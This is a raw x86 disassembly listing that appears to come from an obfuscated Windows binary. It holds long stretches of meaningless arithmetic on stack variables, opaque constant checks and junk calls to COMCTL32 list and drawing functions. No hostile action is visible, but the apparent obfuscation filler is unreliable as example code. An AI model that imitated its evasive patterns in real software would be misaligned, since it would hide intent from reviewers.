mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
movzx ecx, word [ebp - 0x1b5c]
or ecx, 0xdbd
mov word [ebp - 0x1b5c], cx
mov edx, dword [ebp - 0x5020]
mov eax, dword [ebp - 0x4c18]
and eax, dword [edx]
mov dword [section..data], eax
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x741c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], edx
mov edx, dword [ebp - 0x11e0]
mov eax, dword [ebp - 0xcc0]
add eax, dword [edx]
mov dword [ebp - 0x81c], eax
mov ecx, dword [ebp - 0x6894]
sub ecx, dword [ebp - 0x81c]
mov dword [ebp - 0xcc0], ecx
mov edx, dword [ebp - 0x4c18]
add edx, dword [section..data]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ebp - 0x741c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], eax
movzx edx, word [ebp - 0x1b5c]
add edx, 0x127
mov word [ebp - 0x1b5c], dx
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0xcc0]
sub ecx, dword [ebp - 0x6894]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x741c]
mov ecx, dword [ebp - 0x5020]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x727d]
movsx edx, byte [ebp - 0x5f9d]
xor ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
mov ecx, dword [ebp - 0x6a90]
add ecx, 0x18
mov dword [ebp - 0x6a90], ecx
mov edx, dword [ebp - 0x1b60]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4e20]
shl eax, cl
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x911]
or edx, 0xa2
mov byte [ebp - 0x4a55], dl
mov eax, dword [ebp - 0x741c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4c18]
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov eax, dword [ebp - 0x741c]
mov ecx, dword [ebp - 0x5020]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x4c18], edx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b60]
add ecx, dword [edx]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b60]
add edx, dword [eax]
mov dword [ebp - 0xcc0], edx
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xcc0]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x4c18]
sub edx, dword [ecx]
mov dword [section..data], edx
jmp 0x403fe6
mov al, byte [ebp - 0x911]
mov byte [ebp - 0x2421], al
mov cl, byte [ebp - 0x2421]
mov byte [ebp - 0xb660], cl
cmp byte [ebp - 0xb660], 0x5e
je 0x40443f
jmp 0x404499
mov edx, dword [ebp - 0x81c]
mov dword [ebp - 0xb664], edx
cmp dword [ebp - 0xb664], 0x7c34
je 0x404459
jmp 0x404471
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4c18]
mov edx, dword [ebp - 0x741c]
mov dword [edx], ecx
jmp 0x404494
push 0
mov eax, dword [ebp - 0x3d50]
push eax
mov ecx, dword [ebp - 0x3d54]
push ecx
mov edx, dword [ebp - 0x5058]
push edx
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x81c], eax
jmp 0x404597
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [eax]
mov dword [ebp - 0x6510], ecx
mov dword [ebp - 0x5e0], 0x570a
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
sub eax, dword [ebp - 0x6894]
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ecx]
add edx, dword [ebp - 0xcc0]
cmp eax, edx
jle 0x404540
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [ebp - 0x81c]
xor ecx, dword [eax]
mov dword [ebp - 0x6894], ecx
mov edx, dword [ebp - 0x4c18]
or edx, dword [section..data]
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
push 0xfe
mov ecx, dword [ebp - 0x3854]
push ecx
mov edx, dword [ebp - 0xa8f4]
push edx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
movzx eax, byte [ebp - 0x2421]
movzx ecx, byte [ebp - 0x911]
sar eax, cl
mov byte [ebp - 0x4a55], al
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
jmp 0x404597
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov esi, dword [section..data]
mov ecx, dword [eax]
shl esi, cl
cmp edx, esi
jb 0x404597
mov ecx, dword [ebp - 0xb520]
mov dl, byte [ecx]
mov byte [ebp - 0x2b89], dl
mov dword [ebp - 0x3efc], 0x271f
mov dword [ebp - 0x1ea4], 0x81fa
movsx eax, word [ebp - 0xadc0]
add eax, 0x11b
mov word [ebp - 0x194c], ax
mov cl, byte [ebp - 0x727d]
mov byte [ebp - 0xb668], cl
cmp byte [ebp - 0xb668], 0
je 0x4045be
cmp byte [ebp - 0xb668], 0x10
je 0x404649
jmp 0x404674
mov edx, dword [ebp - 0x741c]
mov eax, dword [edx]
mov dword [ebp - 0xb66c], eax
cmp dword [ebp - 0xb66c], 0x7f14
je 0x4045da
jmp 0x404609
movzx ecx, byte [ebp - 0x2421]
push ecx
movzx edx, byte [ebp - 0x4a55]
push edx
movzx eax, word [ebp - 0x1b5c]
push eax
movzx ecx, byte [ebp - 0x911]
push ecx
movzx edx, byte [ebp - 0x4a55]
push edx
call fcn.0049fa50
jmp 0x40463d
lea eax, [ebp - 0x4c18]
mov dword [ebp - 0x6ef4], eax
mov ecx, dword [ebp - 0x6894]
and ecx, dword [ebp - 0xcc0]
mov dword [ebp - 0x6510], ecx
lea edx, [ebp - 0x4a55]
mov dword [ebp - 0x32dc], edx
mov dword [ebp - 0x83e4], 0x8c43
mov dword [ebp - 0x1840], 0x9689
jmp 0x404674
mov eax, dword [ebp - 0x4768]
push eax
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x42d8], eax
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0x11e0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x11e0]
mov eax, dword [edx]
add eax, dword [ebp - 0x81c]
mov dword [ebp - 0x6510], eax
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ecx]
sub edx, dword [section..data]
mov dword [ebp - 0x4c18], edx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x6510]
mov edx, dword [ebp - 0x1b60]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x99e8]
add ecx, dword [edx]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], ecx
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x5f9d]
sub edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3efc]
add edx, 0x8b
mov dword [ebp - 0x3efc], edx
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x911]
add ecx, edx
mov byte [ebp - 0x4a55], cl
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [eax]
add ecx, dword [section..data]
mov dword [ebp - 0x4c18], ecx
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ebp - 0x99e8]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x6894], edx
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [ebp - 0xcc0]
or ecx, dword [eax]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [ebp - 0xcc0]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x6894], edx
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x5f9d]
and ecx, edx
mov byte [ebp - 0x727d], cl
movsx eax, word [ebp - 0xadc0]
add eax, 0x340
mov word [ebp - 0x194c], ax
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x4c18]
mov dword [section..data], edx
movzx eax, word [ebp - 0x1b5c]
and eax, 0xd2
mov word [ebp - 0x1b5c], ax
cmp dword [ebp - 0x3efc], 0x4471
jne 0x404674
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x81c]
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x6894]
cmp edx, ecx
jg 0x49f547
mov edx, dword [ebp - 0x4c18]
mov dword [ebp - 0xa4bc], edx
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x5f9d]
sub ecx, edx
movsx eax, byte [ebp - 0x2b89]
movsx edx, byte [ebp - 0x727d]
add eax, edx
cmp ecx, eax
jg 0x49f4e6
cmp dword [ebp - 0x11d4], 0x3db9
jae 0x404bca
mov eax, dword [ebp - 0x32dc]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x2421]
shl edx, cl
mov byte [ebp - 0x911], dl
mov eax, dword [ebp - 0x11e0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x4e20]
sar edx, cl
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4c18]
xor ecx, dword [ebp - 0xa4bc]
mov edx, dword [ebp - 0x741c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6894]
and eax, dword [ebp - 0x81c]
mov dword [ebp - 0x4e20], eax
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x4c18]
sub edx, dword [ecx]
mov dword [section..data], edx
mov eax, dword [ebp - 0x741c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x6ef4]
add ecx, dword [edx]
mov eax, dword [ebp - 0x5020]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x911]
sub edx, eax
mov ecx, dword [ebp - 0x32dc]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4c18]
mov dword [ebp - 0xa4bc], eax
mov ecx, dword [ebp - 0x11d4]
add ecx, 0x95
mov dword [ebp - 0x11d4], ecx
mov edx, dword [ebp - 0xcc0]
and edx, dword [ebp - 0x6894]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x727d]
movsx edx, byte [ebp - 0x5f9d]
add ecx, edx
mov eax, dword [ebp - 0xb520]
mov byte [eax], cl
movzx ecx, byte [ebp - 0x2421]
movzx edx, byte [ebp - 0x4a55]
add ecx, edx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x4a55]
add edx, eax
mov ecx, dword [ebp - 0x32dc]
mov byte [ecx], dl
movzx edx, byte [ebp - 0x4a55]
movzx eax, byte [ebp - 0x911]
sub edx, eax
mov byte [ebp - 0x2421], dl
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ebp - 0x4c18]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ebp - 0xcc0]
or edx, dword [ecx]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x11e0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xa4bc]
shl eax, cl
mov ecx, dword [ebp - 0x6ef4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x81c]
and edx, dword [ebp - 0xcc0]
mov dword [ebp - 0x4e20], edx
movzx eax, byte [ebp - 0x4a55]
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x2421], al
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2421]
sub ecx, edx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x6894]
sub ecx, dword [ebp - 0x81c]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x741c]
mov ecx, dword [ebp - 0x4c18]
add ecx, dword [eax]
mov dword [ebp - 0xa4bc], ecx
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4c18]
mov dword [section..data], eax
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x4e20]
and edx, dword [ecx]
mov eax, dword [ebp - 0x1b60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2421]
add edx, eax
mov ecx, dword [ebp - 0x32dc]
mov byte [ecx], dl
movzx edx, byte [ebp - 0x4a55]
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x2421], dl
movsx edx, byte [ebp - 0x727d]
movsx eax, byte [ebp - 0x5f9d]
sub edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
movsx edx, word [ebp - 0x194c]
or edx, 0x3c2
mov word [ebp - 0xadc0], dx
mov eax, dword [ebp - 0xa4bc]
mov ecx, dword [section..data]
shl eax, cl
mov dword [ebp - 0x4c18], eax
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0x81c]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x2b89]
sar edx, cl
mov eax, dword [ebp - 0xb520]
mov byte [eax], dl
movzx ecx, byte [ebp - 0x911]
movzx edx, byte [ebp - 0x2421]
and ecx, edx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
add edx, dword [ebp - 0xa4bc]
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x6894]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x6510]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0xa4bc]
add ecx, dword [section..data]
mov dword [ebp - 0x4c18], ecx
mov edx, dword [ebp - 0x11e0]
mov eax, dword [edx]
add eax, dword [ebp - 0x4e20]
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x911]
add eax, ecx
mov edx, dword [ebp - 0x32dc]
mov byte [edx], al
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [ebp - 0x6510]
and ecx, dword [eax]
mov dword [ebp - 0xcc0], ecx
jmp 0x40483a
movsx edx, word [ebp - 0x194c]
mov dword [ebp - 0xb670], edx
cmp dword [ebp - 0xb670], 0x3a7
je 0x404bf8
cmp dword [ebp - 0xb670], 0x421
je 0x404cbf
jmp 0x404d84
mov eax, dword [ebp - 0x4c18]
mov dword [ebp - 0xb674], eax
cmp dword [ebp - 0xb674], 0x42e1
je 0x404c15
jmp 0x404ca4
mov ecx, dword [ebp - 0xcc0]
sub ecx, dword [ebp - 0x6894]
mov edx, dword [ebp - 0x11e0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x32dc]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x4a55]
shl edx, cl
movzx eax, byte [ebp - 0x2421]
movzx ecx, byte [ebp - 0x911]
sar eax, cl
cmp edx, eax
jg 0x404c77
lea ecx, [ebp - 0x3b7c]
push ecx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0xcc0], eax
mov edx, dword [ebp - 0x741c]
mov eax, dword [ebp - 0xa4bc]
add eax, dword [edx]
mov dword [section..data], eax
jmp 0x404ca2
movsx ecx, byte [ebp - 0x727d]
movsx edx, byte [ebp - 0x5f9d]
or ecx, edx
mov eax, dword [ebp - 0xb520]
movsx edx, byte [eax]
movsx eax, byte [ebp - 0x2b89]
xor edx, eax
cmp ecx, edx
jle 0x404ca2
call fcn.004018d0
jmp 0x404cba
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ecx]
and edx, dword [ebp - 0xcc0]
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
jmp 0x404d84
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x4e20], eax
push 0x37
mov ecx, dword [ebp - 0x6fec]
push ecx
mov edx, dword [ebp - 0xaebc]
push edx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov eax, dword [ebp - 0x32dc]
mov cl, byte [eax]
mov byte [ebp - 0xb678], cl
cmp byte [ebp - 0xb678], 0x9e
je 0x404d0d
cmp byte [ebp - 0xb678], 0xaa
je 0x404d70
jmp 0x404d84
mov edx, dword [ebp - 0xb520]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x727d]
add eax, ecx
mov edx, dword [ebp - 0xb520]
mov byte [edx], al
mov eax, dword [ebp - 0xb520]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x2b89]
sub ecx, edx
mov byte [ebp - 0x727d], cl
movzx eax, byte [ebp - 0x4a55]
push eax
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
push edx
movzx eax, word [ebp - 0x1b5c]
push eax
movzx ecx, byte [ebp - 0x911]
push ecx
movzx edx, byte [ebp - 0x2421]
push edx
call fcn.0049fa50
jmp 0x404d84
mov eax, dword [ebp - 0xa4bc]
add eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x6ef4]
mov dword [ecx], eax
movzx edx, word [ebp - 0x1b5c]
mov dword [ebp - 0xb67c], edx
cmp dword [ebp - 0xb67c], 0xc0
je 0x404db2
cmp dword [ebp - 0xb67c], 0xbe1
je 0x49f3a9
jmp 0x49f4a7
mov eax, dword [ebp - 0xcc0]
mov dword [ebp - 0x2a9c], eax
mov ecx, dword [ebp - 0xa4bc]
xor ecx, dword [ebp - 0x4c18]
mov edx, dword [ebp - 0x741c]
mov dword [edx], ecx
lea eax, [ebp - 0x4a55]
mov dword [ebp - 0x7398], eax
mov dword [ebp - 0x6ce4], 0x10816
mov dword [ebp - 0x94cc], 0x7d9b
movzx ecx, byte [ebp - 0x2421]
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
add ecx, eax
movzx edx, byte [ebp - 0x4a55]
mov eax, dword [ebp - 0x32dc]
movzx eax, byte [eax]
sub edx, eax
cmp ecx, edx
jl 0x49f2ff
movsx ecx, word [ebp - 0xadc0]
sub ecx, 0x168
movsx edx, word [ebp - 0x194c]
cmp ecx, edx
je 0x404e7e
movsx eax, word [ebp - 0xadc0]
mov dword [ebp - 0xb680], eax
cmp dword [ebp - 0xb680], 5
je 0x404e5a
cmp dword [ebp - 0xb680], 0x3ff
je 0x404e61
jmp 0x404e6f
call fcn.0049fde0
jmp 0x404e6f
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ecx]
mov dword [ebp - 0x3234], edx
mov dword [ebp - 0x6d5c], 0x2405
jmp 0x404f2f
mov al, byte [ebp - 0x4a55]
mov byte [ebp - 0xb684], al
cmp byte [ebp - 0xb684], 8
je 0x404f11
cmp byte [ebp - 0xb684], 0x35
je 0x404ea1
jmp 0x404f2f
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x727d]
add edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
movsx edx, word [ebp - 0x194c]
add edx, 0x47f
mov word [ebp - 0xadc0], dx
mov eax, dword [ebp - 0x3888]
push eax
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x9af8], eax
movzx ecx, byte [ebp - 0x911]
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x7398]
mov byte [edx], cl
movzx eax, word [ebp - 0x1b5c]
sub eax, 0x1f0
mov word [ebp - 0x1b5c], ax
jmp 0x404f2f
movzx ecx, byte [ebp - 0x727d]
push ecx
movzx edx, byte [ebp - 0x2421]
push edx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
push ecx
call fcn.00401820
mov dword [ebp - 0x8474], 0x625e
mov edx, dword [ebp - 0xa4bc]
sub edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
or edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x5020]
mov dword [eax], edx
movzx ecx, word [ebp - 0x1b5c]
mov dword [ebp - 0xb688], ecx
cmp dword [ebp - 0xb688], 0xc0
je 0x404f91
cmp dword [ebp - 0xb688], 0x324
je 0x49f1ae
jmp 0x49f1e6
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
mov dword [ebp - 0x9708], eax
lea ecx, [ebp - 0x3234]
mov dword [ebp - 0xae0c], ecx
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ebp - 0x4e20]
add eax, dword [edx]
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], eax
mov dword [ebp - 0x9cdc], 0x770b
mov edx, dword [ebp - 0x741c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x6ef4]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x911]
movzx eax, byte [ebp - 0x4a55]
add edx, eax
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], dl
movzx edx, byte [ebp - 0x2421]
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], dl
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ebp - 0x4c18]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2b89]
xor edx, eax
mov byte [ebp - 0x5f9d], dl
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov dword [ebp - 0x9708], eax
mov edx, dword [ebp - 0x6894]
mov ecx, dword [ebp - 0x2a9c]
shl edx, cl
mov dword [ebp - 0x81c], edx
movzx eax, word [ebp - 0x1b5c]
or eax, 0x726
mov word [ebp - 0x1b5c], ax
movzx ecx, byte [ebp - 0x911]
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x32dc]
mov byte [edx], cl
mov eax, dword [ebp - 0xae0c]
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ebp - 0x5020]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x6ef4]
mov dword [ecx], eax
mov edx, dword [ebp - 0xae0c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x6510]
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [edx]
add eax, dword [ebp - 0x9708]
mov dword [section..data], eax
movzx ecx, byte [ebp - 0x2421]
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x4a55], cl
mov ecx, dword [ebp - 0x4e20]
add ecx, dword [ebp - 0x81c]
mov edx, dword [ebp - 0xae0c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x9708]
mov dword [ebp - 0xa4bc], ecx
mov edx, dword [ebp - 0x99e8]
mov eax, dword [ebp - 0x4e20]
add eax, dword [edx]
mov ecx, dword [ebp - 0x1b60]
mov dword [ecx], eax
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
add eax, dword [ebp - 0x2a9c]
mov dword [ebp - 0x6894], eax
mov ecx, dword [ebp - 0x1b60]
mov edx, dword [ebp - 0x2a9c]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x11e0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0xae0c]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x727d]
movsx eax, byte [ebp - 0x5f9d]
xor edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
mov edx, dword [ebp - 0x5020]
mov eax, dword [edx]
or eax, dword [ebp - 0x4c18]
mov ecx, dword [ebp - 0x741c]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x911]
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x4a55], dl
mov edx, dword [ebp - 0x4c18]
sub edx, dword [section..data]
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
add edx, dword [ebp - 0x4c18]
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xa4bc]
add ecx, dword [ebp - 0x4c18]
mov dword [ebp - 0x9708], ecx
movzx edx, byte [ebp - 0x2421]
movzx eax, byte [ebp - 0x911]
sub edx, eax
mov ecx, dword [ebp - 0x7398]
mov byte [ecx], dl
mov edx, dword [ebp - 0x741c]
mov eax, dword [edx]
add eax, dword [ebp - 0x9708]
mov ecx, dword [ebp - 0x6ef4]
mov dword [ecx], eax
mov edx, dword [ebp - 0xae0c]
mov eax, dword [ebp - 0x3234]
and eax, dword [edx]
mov dword [ebp - 0xcc0], eax
mov ecx, dword [ebp - 0x4c18]
add ecx, dword [ebp - 0x9708]
mov dword [ebp - 0xa4bc], ecx
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xae0c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6894]
sub eax, dword [ebp - 0x81c]
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], eax
movzx edx, word [ebp - 0x1b5c]
shl edx, 0xb
mov word [ebp - 0x1b5c], dx
movzx eax, byte [ebp - 0x911]
movzx ecx, byte [ebp - 0x4a55]
or eax, ecx
mov byte [ebp - 0x2421], al
mov edx, dword [ebp - 0x9708]
xor edx, dword [ebp - 0xa4bc]
mov dword [ebp - 0x4c18], edx
mov eax, dword [ebp - 0x11e0]
mov edx, dword [ebp - 0x4e20]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x2a9c], edx
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x911]
and ecx, edx
mov eax, dword [ebp - 0x32dc]
mov byte [eax], cl
mov ecx, dword [ebp - 0xb520]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2b89]
sub edx, eax
mov ecx, dword [ebp - 0xb520]
mov byte [ecx], dl
mov edx, dword [ebp - 0x94cc]
add edx, 0xa2
mov dword [ebp - 0x94cc], edx
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x2421]
add ecx, edx
mov eax, dword [ebp - 0x7398]
mov byte [eax], cl
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [section..data], eax
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x6ef4]
add edx, dword [eax]
mov ecx, dword [ebp - 0x5020]
mov dword [ecx], edx
mov edx, dword [ebp - 0xae0c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x11e0]
add eax, dword [ecx]
mov edx, dword [ebp - 0x1b60]
mov dword [edx], eax
